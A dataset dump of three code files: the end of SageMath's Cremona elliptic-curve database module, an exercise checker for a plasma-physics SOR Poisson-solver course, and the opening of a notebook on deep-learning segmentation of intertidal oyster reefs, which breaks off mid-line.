then only include data up to that conductor.\n\n        OUTPUT:\n\n        -  ``int`` - number_of_curves\n        -  ``int`` - number_of_isogeny_classes\n\n       EXAMPLES::\n\n            sage: d = sage.databases.cremona.MiniCremonaDatabase(name='cremona', read_only=False, rebuild=True)   # not tested\n            sage: d._init_allcurves('.', 11)    # not tested\n            (3, 1)\n        \"\"\"\n        if self.__read_only__:\n            raise RuntimeError(\"The database must not be read_only.\")\n        files = sorted(os.listdir(ftpdata))\n        name = 'allcurves'\n        num_curves = 0\n        num_iso_classes = 0\n        con = self.get_connection()\n        for F in files:\n            if not F[:len(name)] == name:\n                continue\n            print(\"Inserting\", F)\n            class_data = []\n            curve_data = []\n            for L in open(ftpdata + \"/\" + F).readlines():\n                N, iso, num, ainvs, r, tor = L.split()\n                if largest_conductor and int(N) > largest_conductor: break\n                cls = N+iso\n                cur = cls+num\n                if num == \"1\":\n                    class_data.append((N,cls,r))\n                    num_iso_classes += 1\n                curve_data.append((cur,cls,ainvs,tor))\n                num_curves += 1\n            con.executemany('INSERT INTO t_class (conductor,class,rank) ' \\\n                + 'VALUES (?,?,?)', class_data)\n            con.executemany('INSERT INTO t_curve (curve,class,eqn,tors) ' \\\n                + 'VALUES (?,?,?,?)', curve_data)\n            print(\"Committing...\")\n            print(\"num_iso_classes =\", num_iso_classes)\n            self.commit()\n            if largest_conductor and int(N) > largest_conductor: break\n        return num_curves, num_iso_classes\n\nclass LargeCremonaDatabase(MiniCremonaDatabase):\n    \"\"\"\n    The Cremona database of elliptic curves.\n\n    EXAMPLES::\n\n        sage: c = CremonaDatabase('cremona')  # optional - database_cremona_ellcurve\n        sage: c.allcurves(11)                 # optional - database_cremona_ellcurve\n        {'a1': [[0, -1, 1, -10, -20], 0, 5],\n        'a2': [[0, -1, 1, -7820, -263580], 0, 1],\n        'a3': [[0, -1, 1, 0, 0], 0, 5]}\n    \"\"\"\n    def __init__(self, name, read_only=True, build=False):\n        \"\"\"\n        Initialize the database.\n\n        TESTS::\n\n            sage: c = CremonaDatabase('cremona')    # optional - database_cremona_ellcurve\n            sage: c.name                            # optional - database_cremona_ellcurve\n            'cremona'\n        \"\"\"\n        self.name = name\n        name = name.replace(' ','_')\n        db_path = os.path.join(SAGE_SHARE, 'cremona', name+'.db')\n        if build:\n            if name is None:\n                raise RuntimeError('The database must have a name.')\n            if read_only:\n                raise RuntimeError('The database must not be read_only.')\n            SQLDatabase.__init__(self, db_path, read_only=read_only, \\\n                    skeleton=_cremonaSkeleton)\n            return\n        if not os.path.isfile(db_path):\n            raise ValueError(\"Desired database (='%s') does not \"%self.name \\\n                    + \"exist\")\n        SQLDatabase.__init__(self, db_path, read_only=read_only)\n        if self.get_skeleton() != _cremonaSkeleton:\n            raise RuntimeError('Database at %s does '%(self.__dblocation__) \\\n              + 'not appear to be a valid SQL Cremona database.')\n\n    def allbsd(self, N):\n        r\"\"\"\n        Return the allbsd table for conductor N. The entries are::\n\n            [id, tamagawa_product, Omega_E, L, Reg_E, Sha_an(E)]\n\n        where id is the isogeny class (letter) followed by a number, e.g.,\n        b3, and L is `L^r(E,1)/r!`, where E has rank r.\n\n        INPUT:\n\n        -  ``N`` - int, the conductor\n\n        OUTPUT: dict containing the allbsd table for each isogeny class\n        in conductor N\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.allbsd(12)            # optional - database_cremona_ellcurve\n            {}\n            sage: c.allbsd(19)['a3']      # optional - database_cremona_ellcurve\n            [1, 4.07927920046493, 0.453253244496104, 1.0, 1]\n            sage: c.allbsd(12001)['a1']   # optional - database_cremona_ellcurve\n            [2, 3.27608135248722, 1.54910143090506, 0.236425971187952, 1.0]\n        \"\"\"\n        ret = {}\n        for c in self.__connection__.cursor().execute('SELECT curve,cp,om,L,' \\\n            + 'reg,sha FROM t_curve,t_class USING(class) WHERE conductor=?', \\\n            (int(N),)):\n            N,iso,num = parse_cremona_label(c[0])\n            ret[iso+str(num)] = list(c[1:])\n        return ret\n\n    def allgens(self, N):\n        \"\"\"\n        Return the allgens table for conductor N.\n\n        INPUT:\n\n        -  ``N`` - int, the conductor\n\n        OUTPUT:\n\n        -  ``dict`` - id:[points, ...], ...\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.allgens(12)            # optional - database_cremona_ellcurve\n            {}\n            sage: c.allgens(1001)['a1']    # optional - database_cremona_ellcurve\n            [[61, 181, 1]]\n            sage: c.allgens(12001)['a1']   # optional - database_cremona_ellcurve\n            [[7, 2, 1]]\n        \"\"\"\n        ret = {}\n        for c in self.__connection__.cursor().execute('SELECT curve,gens ' \\\n            + 'FROM t_curve,t_class USING(class) WHERE conductor=?',(int(N),)):\n            N,iso,num = parse_cremona_label(c[0])\n            ret[iso+str(num)] = eval(c[1])\n        return ret\n\n    def degphi(self, N):\n        \"\"\"\n        Return the degphi table for conductor N.\n\n        INPUT:\n\n        -  ``N`` - int, the conductor\n\n        OUTPUT:\n\n        -  ``dict`` - id:degphi, ...\n\n        EXAMPLES::\n\n            sage: c = CremonaDatabase()\n            sage: c.degphi(11)            # optional - database_cremona_ellcurve\n            {'a1': 1}\n            sage: c.degphi(12001)['c1']   # optional - database_cremona_ellcurve\n            1640\n        \"\"\"\n        ret = {}\n        for c in self.__connection__.cursor().execute('SELECT curve,deg FROM' \\\n            + ' t_curve,t_class USING(class) WHERE curve=class||1 AND ' \\\n            + 'conductor=?', (int(N),)):\n            N,iso,num = parse_cremona_label(c[0])\n            ret[iso+str(num)] = c[1]\n        return ret\n\n    def _init_degphi(self, ftpdata, largest_conductor=0):\n        \"\"\"\n        Initialize the degphi table by reading the corresponding ftpdata\n        files and importing them into the database.\n\n        To create the large database from Cremona's text files, see\n        sage.databases.cremona.build, do NOT run this method directly.\n\n        EXAMPLES::\n\n            sage: d = sage.databases.cremona.LargeCremonaDatabase(name='cremona', read_only=False, rebuild=True)   # not tested\n            sage: d._init_degphi('.')           # not tested\n        \"\"\"\n        if self.__read_only__:\n            raise RuntimeError(\"The database must not be read_only.\")\n        files = sorted(os.listdir(ftpdata))\n        name = \"degphi\"\n        con = self.get_connection()\n        for F in files:\n            if not F[:len(name)] == name:\n                continue\n            print(\"Inserting\", F)\n            class_data = []\n            for L in open(ftpdata + \"/\" + F).readlines():\n                N, iso, num, degree, primes, curve = L.split()\n                if largest_conductor and int(N) > largest_conductor: break\n                class_data.append((degree,N+iso))\n            con.executemany('UPDATE t_class SET deg=? WHERE class=?', \\\n                class_data)\n            print(\"Committing...\")\n            self.commit()\n            if largest_conductor and int(N) > largest_conductor: break\n\n    def _init_allbsd(self, ftpdata, largest_conductor=0):\n        \"\"\"\n        Initialize the allbsd table by reading the corresponding ftpdata\n        files and importing them into the database.\n\n        To create the large database from Cremona's text files, see\n        sage.databases.cremona.build, do NOT run this method directly.\n\n        EXAMPLES::\n\n            sage: d = sage.databases.cremona.LargeCremonaDatabase(name='cremona', read_only=False, rebuild=True)   # not tested\n            sage: d._init_allbsd('.')           # not tested\n        \"\"\"\n        if self.__read_only__:\n            raise RuntimeError(\"The database must not be read_only.\")\n        files = sorted(os.listdir(ftpdata))\n        name = \"allbsd\"\n        con = self.get_connection()\n        for F in files:\n            if not F[:len(name)] == name:\n                continue\n            print(\"Inserting\", F)\n            curve_data = []\n            class_data = []\n            for L in open(ftpdata + \"/\" + F).readlines():\n                N, iso, num, eqn, rank, tor, cp, om, L, reg, sha  = L.split()\n                if largest_conductor and int(N) > largest_conductor: break\n                cls = N+iso\n                if num == \"1\":\n                    class_data.append((L,cls))\n                curve_data.append((cp,om,reg,eval(sha),cls+num))\n            con.executemany(\"UPDATE t_class SET L=? WHERE class=?\", class_data)\n            con.executemany(\"UPDATE t_curve SET cp=?,om=?,reg=?,sha=? WHERE \" \\\n                    + \"curve=?\", curve_data)\n            print(\"Committing...\")\n            self.commit()\n            if largest_conductor and int(N) > largest_conductor: break\n\n    def _init_allgens(self, ftpdata, largest_conductor=0):\n        \"\"\"\n        Initialize the allgens table by reading the corresponding ftpdata\n        files and importing them into the database.\n\n        To create the large database from Cremona's text files, see\n        sage.databases.cremona.build, do NOT run this method directly.\n\n        EXAMPLES::\n\n            sage: d = sage.databases.cremona.LargeCremonaDatabase(name='cremona', read_only=False, rebuild=True)   # not tested\n            sage: d._init_allgens('.')          # not tested\n        \"\"\"\n        if self.__read_only__:\n            raise RuntimeError(\"The database must not be read_only.\")\n        files = sorted(os.listdir(ftpdata))\n        name = \"allgens\"\n        con = self.get_connection()\n        for F in files:\n            if not F[:len(name)] == name:\n                continue\n            print(\"Inserting\", F)\n            curve_data = []\n            for L in open(ftpdata + \"/\" + F).readlines():\n                v = L.split()\n                if largest_conductor and int(v[0]) > largest_conductor: break\n                gens = '['+','.join(v[6:6+int(v[4])]).replace(':',',')+']'\n                curve_data.append((gens,''.join(v[:3])))\n            con.executemany(\"UPDATE t_curve SET gens=? WHERE curve=?\", \\\n                curve_data)\n            print(\"Committing...\")\n            if largest_conductor and int(v[0]) > largest_conductor: break\n\n_db = None\ndef CremonaDatabase(name=None,mini=None,set_global=None):\n    \"\"\"\n    Initializes the Cremona database with name ``name``. If ``name`` is\n    ``None`` it instead initializes large Cremona database (named 'cremona'),\n    if available or default mini Cremona database (named 'cremona mini').\n\n    If the Cremona database in question is in the format of the mini database,\n    you must set ``mini=True``, otherwise it must be set to ``False``.\n\n    If you would like other components of Sage to use this database, mark\n    ``set_global=True``.\n\n    TESTS::\n\n        sage: c = CremonaDatabase()\n        sage: isinstance(c, sage.databases.cremona.MiniCremonaDatabase)\n        True\n        sage: isinstance(c, sage.databases.cremona.LargeCremonaDatabase)  # optional - database_cremona_ellcurve\n        True\n\n    Verify that :trac:`12341` has been resolved::\n\n        sage: c = CremonaDatabase('should not exist',mini=True)\n        Traceback (most recent call last):\n        ...\n        ValueError: Desired database (='should not exist') does not exist\n        sage: c = CremonaDatabase('should not exist',mini=False)\n        Traceback (most recent call last):\n        ...\n        ValueError: Desired database (='should not exist') does not exist\n        sage: from sage.env import SAGE_SHARE\n        sage: os.path.isfile(os.path.join(SAGE_SHARE,'cremona','should_not_exist.db'))\n        False\n    \"\"\"\n    global _db\n    if set_global is None:\n        set_global = _db is None and name is None\n    if name is None and not set_global:\n        return _db\n    if set_global and name is None:\n        if is_package_installed('database_cremona_ellcurve'):\n            name = 'cremona'\n        else:\n            name = 'cremona mini'\n    if name == 'cremona':\n        mini = False\n    elif name == 'cremona mini':\n        mini = True\n    if mini is None:\n        raise ValueError('mini must be set as either True or False')\n    if set_global:\n        if mini:\n            _db = MiniCremonaDatabase(name)\n        else:\n            _db = LargeCremonaDatabase(name)\n        return _db\n    if mini:\n        return MiniCremonaDatabase(name)\n    return LargeCremonaDatabase(name)\n", "meta": {"hexsha": "0a5f79478a535a81d319a39fa5d90cafc69f2214", "size": 58592, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/databases/cremona.py", "max_stars_repo_name": "fredstro/sage", "max_stars_repo_head_hexsha": "c936d2cda81ec7ec3552a3bdb29c994b40d1bb24", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/databases/cremona.py", "max_issues_repo_name": "fredstro/sage", "max_issues_repo_head_hexsha": "c936d2cda81ec7ec3552a3bdb29c994b40d1bb24", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/databases/cremona.py", "max_forks_repo_name": "fredstro/sage", "max_forks_repo_head_hexsha": "c936d2cda81ec7ec3552a3bdb29c994b40d1bb24", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.5064782097, "max_line_length": 139, "alphanum_fraction": 0.5708117149, "include": true, "reason": "import sage,from sage", "num_tokens": 15489, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3812195803163618, "lm_q2_score": 0.1403362530854946, "lm_q1q2_score": 0.053498927504422984}}
{"text": "from os import error\nfrom TPM2PPF_learntools.core import ThoughtExperiment, CodingProblem, bind_exercises, MultipartProblem\nfrom TPM2PPF_learntools.core.problem import injected\nfrom TPM2PPF_learntools.core.exceptions import Uncheckable\nimport textwrap \n\nimport numpy as np\nfrom astropy.constants import eps0\neps0 = eps0.value\n\n\nclass FiniteVolumeDiscretisation(ThoughtExperiment):\n    _bonus = False\n    _hint = textwrap.dedent(\"\"\"\n    To answer this question, use the Latex langage for equations (you can look that the other equations in the notebooks by double-cliking on the markdown cells)\n\n    I expect in the question the diffinitions of $V_{e,i}$ (and others) as function of $d_x$ $d_y$ the cell sizes, $\\epsilon_0$, and the source therm.\n    The discretisation have been shown in the presentation.\n\n    \"\"\")  # TODO: continue the hint\n\n    _solution = \"\"\"You cannot have access to the solution !\"\"\"\n\n    def check(self):\n        raise Uncheckable\n\n\n\nclass BoundaryConditionDiscretisation(ThoughtExperiment):\n    _bonus = False\n    _hint = textwrap.dedent(\"\"\"\n    I expect in the question the deffinitions of $V_i,j$ at $i=1$, $i=N$, $j=1$, $j=M$\n    as function of the parameters $U_a$ (or $U_c$) and other variables like the plasma potential in the cells nearby.\n\n    Somethink like :\n\n    1. Dirichlet condition: $V_1,j = U_a + V_2,j$ ... (this is wrong !!)\n    2. Neumann Condition:  $V_i,1 = \\log(U_c)$ (this is also wrong !!)\n\n    \"\"\")  # TODO: continue the hint\n\n    _solution = \"\"\"You cannot have access to the solution !\"\"\"\n\n    def check(self):\n        raise Uncheckable\n\n\nclass MatrixDiscretisation(ThoughtExperiment):\n    _bonus = False\n    _hint = textwrap.dedent(\"\"\"\n    I expect here the details of the matrix `A`.\n    \n    If you can factor some parameters, please do it !\n\n    You do not need to write all the elements of $A$. Find ways to give the most important informations\n    And find a way to deals with the 2D domain.\n\n    \"\"\")  # TODO: continue the hint\n\n    _solution = textwrap.dedent(\"\"\"\n    You cannot have access to the solution !\n    However, there is a second tips.\n    \n    You have to write a 2D Matrix, with the vectors $V$ and $d$ 1D vectors.\n    Hence, you need to \"unwrap\" the 2D domain into a 1D vector.\n    One solutions is to start by iterating over $x$, then $y$ :\n    \n    $$\n    V = [V_{1,1}, V_{2,1}, ... V_{N,1}, V_{1,2}, V_{2,2} ... V_{N, 2}, ... V_{N-1, M}, V_{N,M}]\n    $$\n     \"\"\"\n    )\n\n    def check(self):\n        raise Uncheckable\n\n\n\nclass UsingThomas(ThoughtExperiment):\n    _bonus = False\n    _hint = textwrap.dedent(\"\"\"\n    Look at the caracteristics of the matrix $A$,\n    and the conditions to use the Thomas algorythm.\n    \"\"\")  # TODO: continue the hint\n\n    _solution = textwrap.dedent(\"\"\"\n    The Matrix $A$ is no more Tridiagonal. So the Thomas algorythm cannot be used.\n    We will use the SOR algorithm.\n     \"\"\"\n    )\n\n    def check(self):\n        raise Uncheckable\n\n\n\nclass ExerciceSorSolver(CodingProblem):\n    _vars = ['SOR', \"E\",  \"Ve\", \"Vo\", \"Vs\", \"Vn\", \"Vc\", \"rho\", \"V\", \"Ua\", \"Uc\" ]\n    _hint = \"You need to modify the function `SOR` that would solve the tridiagonal matrix linear equation.\"\n    _solution = textwrap.dedent(\"\"\"\n    You cannot have access to the solution !\n\n    But there is another tips :\n    The `SOR` function is actually pretty simple, it is almost direct translation for the math to python\n    \"\"\"\n    )\n\n    def check(self, SOR, E, Ve, Vo, Vs, Vn, Vc, rho, V, Ua, Uc):\n\n        print(\"Running the `SOR` function over the system, it can take some time...\")\n\n        N = 50\n        M = 50\n        dx = 1./N\n        dy = 1./M\n\n        eps0 = 8.85E-14   # F/cm\n\n        # dielectric layers\n        epsdiel=1    # default =1 (no dielectric)\n\n        nxdg = 0 # Nx/10      # dielectric anode side\n        nxdd = 0 # Nx/10      # dielectric cathode side       \n\n\n        Vact = SOR(w=1.5)\n\n        Vslot = 0.5 * (np.linspace(Uc, Ua, N) + np.linspace(Uc, Ua, N+2)[1:-1])\n\n        Vtheo = np.zeros( (N,M) )\n        for j in range(M):\n            Vtheo[:,j] = Vslot\n\n        error = np.sum(np.abs(Vact - Vtheo))\n\n        if False:\n            import matplotlib.pyplot as plt\n\n            plt.figure()\n            plt.plot(Vact[:, 1], label=\"comuted\")\n            plt.plot(Vtheo[:, 1], label = \"expected\")\n            plt.legend()\n            plt.xlabel(\"$x$ axis\")\n            plt.ylabel(\"V(i, j=1) [V]\")\n            plt.show()\n\n        Vact = np.zeros((N,M))  # The solution\n\n        assert error < N*M*1, self._failure_message(error)\n        \n\n\n    @property\n    def _correct_message(self):\n        history = self._view.interactions\n        return (\"Congrats ! \"\n        \"You succedded to write the SOR function to solve the Poisson Equation !\")\n\n    def _failure_message(self, error_value):\n        \n        return (\"For some reasons, when using your function `SOR`,\"\n                \"the answer I obtained was not the value expected !\\n\"\n                \"In particular, the total square error is : \"\n                \"$$\\sum (V - V_{{theo}}) = {}$$\"\n                \"which is very large !\"\n        ).format(error_value)\n\n\n\n# def SOR_solution(w=1):\n#     \"\"\"arguments: w between 0 and 2\n#     Return x a vector of the same size of a\"\"\"\n    \n#     \"Verifying that the inputs are correct\"\n#     assert w > 0 and w < 2 , \"the argument is not between 0 and 2\"\n    \n#     for i in range(N):\n#         for j in range(M):\n            \n#             Vact[i, j] = (1-w)*Vact[i, j] + w * (Vo(i,j)*V(i-1, j) +\n#             Ve(i,j)*V(i+1, j) +\n#             Vs(i,j)*V(i, j-1) +\n#             Vn(i,j)*V(i, j+1)\n#             + rho(i,j)) / Vc(i,j)\n            \n#     # Write your code here\n    \n#     return Vact \n    \n\nclass SolvingOnce(CodingProblem):\n    _var = 'Vact'\n    _hint = (\"Remembrer, SOR is an iterativ solver !\")\n    \n    _solution = \"\"\"You cannot have access to the solution !\"\"\"\n    def check(self, Vact):\n\n        import matplotlib.pyplot as plt\n        \n        N = 50\n        M = 50\n        Ua = 45\n        Uc = 10\n\n        xvect = np.linspace(0, 1, N)\n\n        Vslot = 0.5 * (np.linspace(Uc, Ua, N) + np.linspace(Uc, Ua, N+2)[1:-1])\n\n        Vtheo = np.zeros( (N,M) )\n        for j in range(M):\n            Vtheo[:,j] = Vslot\n        \n\n        plt.figure(figsize=(5,3))\n        plt.title(\"Plasma potential \\n with no charge density\")\n        plt.ylabel(\"Potential at $j=1$ [V]\")\n        plt.xlabel(\"Position x [cm]\")\n        plt.plot(xvect, Vtheo[:, 1], \":\", label=\"The solution\")\n        plt.plot(xvect, Vact[:, 1], label=\"Your answer `Vact`\")\n        plt.legend()\n        plt.tight_layout()\n\n\n        error = np.sum(np.abs(Vact - Vtheo))\n\n        assert error < N*M*1, self._failure_message(error)\n        \n\n\n    @property\n    def _correct_message(self):\n        history = self._view.interactions\n        return (\"Congrats ! \"\n        \"You succedded to solve the Poisson Equation !\")\n\n    def _failure_message(self, error_value):\n        \n        return (\"For some reasons, your solution for `V` is not good !\"\n                \"In particular, the total square error I get is : \"\n                \"$$\\sum (V - V_{{theo}}) = {}$$\"\n                \"which is very large !\"\n        ).format(error_value)\n\n\nclass SolvingTwice(CodingProblem):\n    _var = 'Vact'\n    _hint = (\"Remembrer, SOR is an iterativ solver !\")\n\n    _solution = \"\"\"You cannot have access to the solution !\"\"\"\n\n    def check(self, Vact):\n\n        import matplotlib.pyplot as plt\n\n        N = 50  \n        M = 50\n        Ua = 45\n        Uc = 10\n        rho = 1e-10\n\n        x = np.linspace(0, 1, N)\n\n        Vslot = 0.5 * (np.linspace(Uc, Ua, N) + np.linspace(Uc, Ua, N+2)[1:-1])\n        Vslot = np.linspace(Uc, Ua, N)\n\n        Vslot += - rho / 8.85e-14 / 2 * ( x*(x - 1)) \n\n        Vtheo = np.zeros( (N,M) )\n        for j in range(M):\n            Vtheo[:,j] = Vslot\n\n\n\n        plt.figure(figsize=(5,3))\n        plt.title(\"Plasma potential \\n with uniform charge density\")\n        plt.ylabel(\"Potential at $j=1$ [V]\")\n        plt.xlabel(\"Position x [cm]\")\n        plt.plot(x, Vtheo[:, 1], \":\", label=\"The solution\")\n        plt.plot(x, Vact[:, 1], label=\"Your answer `Vact`\")\n        plt.legend()\n        plt.tight_layout()\n\n\n        error = np.sum(np.abs(Vact - Vtheo))\n\n        assert error < N*M*2, self._failure_message(error)\n\n\n\n    @property\n    def _correct_message(self):\n        history = self._view.interactions\n        return (\"Congrats ! \"\n        \"You succedded to solve the Poisson Equation !\")\n\n    def _failure_message(self, error_value):\n\n        return (\"For some reasons, your solution for `V` is not good !\"\n                \"In particular, the total square error I get is : \"\n                \"$$\\sum (V - V_{{theo}}) = {}$$\"\n                \"which is very large !\"\n        ).format(error_value)\n        \n\n\nSORfunction = MultipartProblem(UsingThomas, ExerciceSorSolver)\nSolvingSimpleCases = MultipartProblem(SolvingOnce, SolvingTwice)\n\n\n\nqvars = bind_exercises(globals(), [\n    FiniteVolumeDiscretisation,\n    BoundaryConditionDiscretisation,\n    MatrixDiscretisation,\n    SORfunction,\n    SolvingSimpleCases,\n    ],\n    start=1,\n    )\n__all__ = list(qvars)\n", "meta": {"hexsha": "7f69d8f166e55d221478420e269663fdc50990e0", "size": 9142, "ext": "py", "lang": "Python", "max_stars_repo_path": "TPM2PPF_learntools/TPM2/ex3.py", "max_stars_repo_name": "antoinetavant/learntools", "max_stars_repo_head_hexsha": "69d5740b8e6233a0169d0fcf704d2c0826e3c0a7", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "TPM2PPF_learntools/TPM2/ex3.py", "max_issues_repo_name": "antoinetavant/learntools", "max_issues_repo_head_hexsha": "69d5740b8e6233a0169d0fcf704d2c0826e3c0a7", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "TPM2PPF_learntools/TPM2/ex3.py", "max_forks_repo_name": "antoinetavant/learntools", "max_forks_repo_head_hexsha": "69d5740b8e6233a0169d0fcf704d2c0826e3c0a7", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.4797507788, "max_line_length": 161, "alphanum_fraction": 0.5774447604, "include": true, "reason": "import numpy,from astropy", "num_tokens": 2599, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38121956625614994, "lm_q2_score": 0.1403362440969662, "lm_q1q2_score": 0.053498922104662644}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Advanced Binary Image Segmentation for the Geo- and Eco-sciences, using Deep Learning\n# \n# ## Case Study: Detecting Intertidal Reefs\n# \n# #### Daniel Buscombe, MARDA Science\n# \n# ![](https://mardascience.com/wp-content/uploads/2019/06/cropped-MardaScience_logo-5.png)\n\n# Before you do anything, go to `File > Save copy in Drive` so you can keep and work on your own copy\n# \n# ## Lesson 3: Getting ready to train a oyster reef masker (binary segmentation of intertidal shellfish reefs) with the \"OysterNet\" data set\n# \n# This jupyter notebook running on Google Colab is part of the \"Advanced Binary Image Segmentation for the Geo- and Eco-sciences, using Deep Learning\" course. The main course website can be accessed [here](https://mardascience.gitlab.io/binary_image_segmentation_for_geosciences/#/)\n# \n# In the previous lesson we made functions to read and pair image and label tiles from this data. In this lesson, we will start by repeating that process without the visualization steps\n# \n# Then we will construct, train and evaluate the model. In the [oysterNet paper](https://zslpublications.onlinelibrary.wiley.com/doi/full/10.1002/rse2.134), the authors used a bigger, more sophisticated model for `instance segmentation`, that is, semantic segmentation that is aware of all the different `instances` of the class (i.e. each individual piece of reef). The model they use is called `Mask RCNN`, the implementation of which is [here](https://github.com/matterport/Mask_RCNN). That is a large and very complicated model that is hard to experiment with. The research behind the [oysterNet paper](https://zslpublications.onlinelibrary.wiley.com/doi/full/10.1002/rse2.134) is state-of-the-art.\n# \n# Here, we use a simpler model with fewer parameters (namely, a residual UNet) and acheive acceptable results for a semantic segmentation (predicting the masks of where the reefs are, rather than by individual instances). The UNet is the same we used in a [previous set of tutorials](https://mardascience.gitlab.io/deep_learning_landscape_classification/#/) and is relatively simple to adapt and play with to demonstrate a few principles.\n# \n# Actually, in this tutorial we'll start with a basic implementation and get really bad results (!). This is designed to introduce you to the complicated workflow, but at the same time demonstrating a principle: use an appropriate loss function to train your model - one that isn't sensitive to class imbalance. We talk about what that means as we go\n# \n# This is designed to demonstrate a problem-solving strategy, and also a principle that often applies to natural imagery:\n# \n# > It's not just the model you choose, it's how you train it that counts\n\n# ### Import libraries\n\n# In[ ]:\n\n\nimport os #for accessing operating system utilities\nfrom glob import glob #for finding files that match a certain string pattern\nimport matplotlib.pyplot as plt #for plotting\nimport numpy as np #for numerical operations\nimport random, string #for creating random strings\nimport tensorflow as tf #tensorflow\nimport json # for reading lable annotations in json format\nimport requests #for downloading files \nfrom PIL import Image, ImageFilter #for reading and filtering imagery\nimport skimage.draw #for making masks (raster label images) from label annotations\nfrom skimage.transform import resize #for resizing imagery\nfrom psutil import virtual_memory #for interrogating our filesystem and RAM specifications\nfrom imageio import imwrite\n\n\n# ### Prepare the data\n\n# #### Download the JSON annotations and imagery\n# \n# If you followed the previous lesson, you'll see that we downloaded the dataset consisting of three large (spatially extensive) orthomosaics, split that data into 555 tiles and labels, and visualize those data\n# \n# Because this lesson assumes you are running this notebook on Google Colab, we'll have to download and split the data again before training a model. This time we'll do it without the commentary. If you need a recap, see the previous lesson\n\n# In[ ]:\n\n\n# from https://stackoverflow.com/questions/38511444/python-download-files-from-google-drive-using-url\n\ndef download_file_from_google_drive(id, destination):\n    URL = \"https://docs.google.com/uc?export=download\"\n\n    session = requests.Session()\n\n    response = session.get(URL, params = { 'id' : id }, stream = True)\n    token = get_confirm_token(response)\n\n    if token:\n        params = { 'id' : id, 'confirm' : token }\n        response = session.get(URL, params = params, stream = True)\n\n    save_response_content(response, destination)    \n\ndef get_confirm_token(response):\n    for key, value in response.cookies.items():\n        if key.startswith('download_warning'):\n            return value\n\n    return None\n\ndef save_response_content(response, destination):\n    \"\"\"\n    response = filename for input\n    destination = filename for output\n    \"\"\"    \n    CHUNK_SIZE = 32768\n\n    with open(destination, \"wb\") as f:\n        for chunk in response.iter_content(CHUNK_SIZE):\n            if chunk: # filter out keep-alive new chunks\n                f.write(chunk)\n\n\n# In[ ]:\n\n\n## if you are doing this for the second time, you'll want to delete the files first\n# !rm -rf 1kx1k_dataset\n# !rm 1kx1k_dataset.zip\n\n\n# In[ ]:\n\n\nfile_id = '1gJq3J8CpXZqLGgUeOU7rXRGEq9glOMmI'\ndestination = '1kx1k_dataset.zip'\ndownload_file_from_google_drive(file_id, destination)\n\n\n# In[ ]:\n\n\nget_ipython().system('unzip 1kx1k_dataset.zip > tmp.txt')\n\n\n# In[ ]:\n\n\ndata_dir = \"1kx1k_dataset/test\"\ntest_annotations = json.load(open(os.path.join(data_dir, \"via_region_data.json\")))\ntest_annotations = list(test_annotations.values()) \n\n\n# In[ ]:\n\n\ndata_dir = \"1kx1k_dataset/train\"\ntrain_annotations = json.load(open(os.path.join(data_dir, \"via_region_data.json\")))\ntrain_annotations = list(train_annotations.values()) \n\n\n# In[ ]:\n\n\ndata_dir = \"1kx1k_dataset/val\"\nval_annotations = json.load(open(os.path.join(data_dir, \"via_region_data.json\")))\nval_annotations = list(val_annotations.values()) \n\n\n# In[ ]:\n\n\nprint(\"# test files: %i\" % (len(test_annotations)))\nprint(\"# train files: %i\" % (len(train_annotations)))\nprint(\"# validation files: %i\" % (len(val_annotations)))\n\n\n# #### Visualize\n\n# In[ ]:\n\n\na = test_annotations[50]\n\nim = Image.open(os.path.join(data_dir, a['filename']))\n\n\n# In[ ]:\n\n\nplt.figure(figsize=(16,16))\nplt.subplot(121)\nplt.imshow(np.array(im))\nplt.axis('off')\nplt.title('Original')\n\nplt.subplot(122)\nim = im.filter(ImageFilter.UnsharpMask(radius=5, percent=200, threshold=3))\nplt.imshow(np.array(im))\nplt.axis('off')\nplt.title('Filtered')\n\n\n# #### Augment\n\n# Augmentation isn't just about increasing the size of the dataset. In fact its main function is to give the model greater variability so it can generalize better (i.e. it is a regularization strategy). We will create zoomed in and zoomed out copies of the imagery, with random rotations and flips. This will give the model more opportunity to develop a scale and rotation invariant image feature extraction solution\n# \n# This is going to be a lot easier if both images and labels exist in image formats. That way, we can use keras' built-in augmentation functions. Currently, the labels are still in json format\n# \n# So, the first thing we do is write out all the labels in jpg format, for both training and validation sets\n# \n# Then, we make a new directory to store those labels and move them in there\n# \n# Finally, we make an assoiated image directory and copy the images associated with each of the labels in its own directory\n# \n# We'll need a function to get every image and label like we did in the previous tutorial\n# \n\n# In[ ]:\n\n\ndef get_image_mask_pair(a, sz):\n\n  if type(a['regions']) is dict:\n      polygons = [r['shape_attributes'] for r in a['regions'].values()]\n  else:\n      print('in the dict type')\n      polygons = [r['shape_attributes'] for r in a['regions']]\n\n  image_path = os.path.join(data_dir, a['filename'])\n  #image = skimage.io.imread(image_path)\n  image = Image.open(image_path)\n\n  image = image.filter(ImageFilter.UnsharpMask(radius=5, percent=200, threshold=3))\n\n  height, width = np.array(image).shape[:2]\n\n  # Convert polygons to a bitmap mask of shape\n  # [height, width, number of polygons]\n  info = a['filename']\n  mask = np.zeros([height, width, len(polygons)],dtype=np.uint8)\n\n  for i, p in enumerate(polygons):\n      # Get indexes of pixels inside the polygon and set them to 1\n      rr, cc = 